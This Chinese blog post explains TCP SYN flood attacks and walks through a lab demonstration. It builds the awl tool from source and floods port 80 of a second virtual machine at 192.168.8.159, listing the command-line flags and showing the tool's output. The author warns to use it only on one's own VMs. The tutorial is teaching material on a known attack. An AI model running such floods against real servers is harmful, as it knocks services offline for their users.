Linux实战：awl-2.0工具模拟洪水攻击，建立大量的TCP连接

太过爱你忘了你带给我的痛 2023-03-01 12:42 8阅读 0赞

# 实战：awl工具模拟洪水攻击，建立大量未完成第二次握手的TCP连接 #

基于TCP协议的数据传输，需要进行三次握手四次挥手才可以完成。每一次连接都会占用系统内存，直至连接关闭才会释放系统内存。**在进行第一次握手时，客户端向服务端发送一个请求连接的报文，然后客户端进入SYN\_SEND状态，服务器被动打开，进入SYN\_RECV状态。这时进行第二次握手，服务端发送一个ACK确认报文给客户端，客户端正常是会收到ACK确认报文，然后客户端发送一个ACK报文给服务端，并进入ESTABLISHED状态。服务端接收客户端发来的ACK确认报文，也进入ESTABLISHED状态。以上过程就是三次握手。**

问题来了，如果客户端的IP地址被伪装成一个不存在的IP地址，那在第二次握手时，服务端发给客户端的ACK确认报文，客户端就无法收到，就不能继续握手下去。这时僵持住了，等时间超时自动断开，才能释放内存。当存在大量的SYN发送给服务器，这时服务器就会占用非常多的内存，可能就会导致其他客户端也无法连接服务器。这种情况被称之为**洪水攻击**。

**awl工具模拟洪水攻击**

# 客户机A上安装awl
    [root@server20 ~]# ll awl-0.2.tar.gz 
    -rw-r--r--. 1 root root 296340 7月  18 14:10 awl-0.2.tar.gz
    [root@server20 ~]# tar xzvf awl-0.2.tar.gz -C /usr/local/src/
    [root@server20 ~]# cd /usr/local/src/awl-0.2/
    [root@server20 awl-0.2]# ./configure && make && make install
    [root@server20 awl-0.2]# which awl
    /usr/local/bin/awl

# 客户机B上安装httpd服务
    [root@client40 ~]# yum install httpd -y
    [root@client40 ~]# firewall-cmd  --permanent --zone=public --add-port=80/tcp
    success
    [root@client40 ~]# firewall-cmd --reload
    success

# 客户机A攻击客户机B
    # ping下看能否ping通
    [root@server20 ~]# ping 192.168.8.159
    PING 192.168.8.159 (192.168.8.159) 56(84) bytes of data.
    64 bytes from 192.168.8.159: icmp_seq=1 ttl=64 time=0.895 ms
    ^C
    --- 192.168.8.159 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 0.895/0.895/0.895/0.000 ms
    # 获取对应ip地址的mac地址
    [root@server20 ~]# arp -n
    Address                  HWtype  HWaddress           Flags Mask            Iface
    192.168.8.159            ether   00:0c:29:cc:1a:41   C                     ens32
    192.168.8.102            ether   f8:a2:d6:f1:95:e5   C                     ens32
    192.168.10.1                     (incomplete)                              ens32
    192.168.8.1              ether   a0:d8:07:67:e7:56   C                     ens32
    # 开始攻击,10s不到，就生成了大量的SYN_RECV连接
    -i  发送数据包的网卡接口
    -m  目标主机的mac地址
    -d  目标主机的IP地址
    -p  对应服务的端口号
    [root@server20 ~]# awl -i ens32 -m 00:0c:29:cc:1a:41 -d 192.168.8.159 -p 80
    ^Cpool_renew success
    pthread join 0 is success !
    pthread join 1 is success !
    pthread join 2 is success !
    pthread join 3 is success !
    pthread join 4 is success !
    pthread join 5 is success !
    pthread join 6 is success !
    pthread join 7 is success !

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl8zNjUyMjA5OQ_size_16_color_FFFFFF_t_70_pic_center]  
这种洪水攻击自己虚拟机上玩玩就得了，在生产别搞事情。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl8zNjUyMjA5OQ_size_16_color_FFFFFF_t_70_pic_center]: /images/20230208/e2c9e180ae8b46f6923959e896b8ddd8.png